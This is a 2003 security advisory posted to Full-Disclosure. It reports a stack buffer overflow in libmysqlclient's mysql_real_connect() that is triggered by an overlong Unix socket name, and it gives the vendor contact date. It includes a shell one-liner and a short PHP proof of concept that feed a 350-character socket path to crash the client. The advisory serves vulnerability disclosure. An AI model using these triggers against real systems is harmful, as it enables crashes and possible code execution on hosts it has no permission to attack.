[Full-Disclosure] libmysqlclient 4.x and below mysql_real_connect() buffer overflow.

[pokleyzz]

SCAN Associates Sdn Bhd Security Advisory

Products: libmysqlclient 4.x and below (http://www.mysql.com)
Date: 12 June 2003
Author:  pokleyzz <pokleyzz_at_scan-associates.net>
Contributors: sk_at_scan-associates.net 
	shaharil_at_scan-associates.net 
	munir_at_scan-associates.net
URL: http://www.scan-associates.net

Summary: libmysqlclient 4.x and below mysql_real_connect() buffer overflow.

Description
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libmysqlclient is  client library to communicate with mysql server.   

Details
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There is stack buffer overflow in mysql_real_connect() function with 
long unix socket name (over 300 character).

ex:
        mysql -S `perl -e 'print "A" x 350'` -hlocalhost
proof of concept
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This bug have succesfully test on safe_mode php in our latest geeklog bug
http://www.scan-associates.net/papers/geeklog.txt where user can upload 
*.php file.

<?php
   for ($i;$i<350;$i++)
        $buff .= "A";
   ini_set("mysql.default_socket","$buff");
   mysql_connect("localhost", "blabla", "blabla");
?>
Vendor Response 
=============== 
Vendor has been contacted on 06/01/2003 and fix will available soon.

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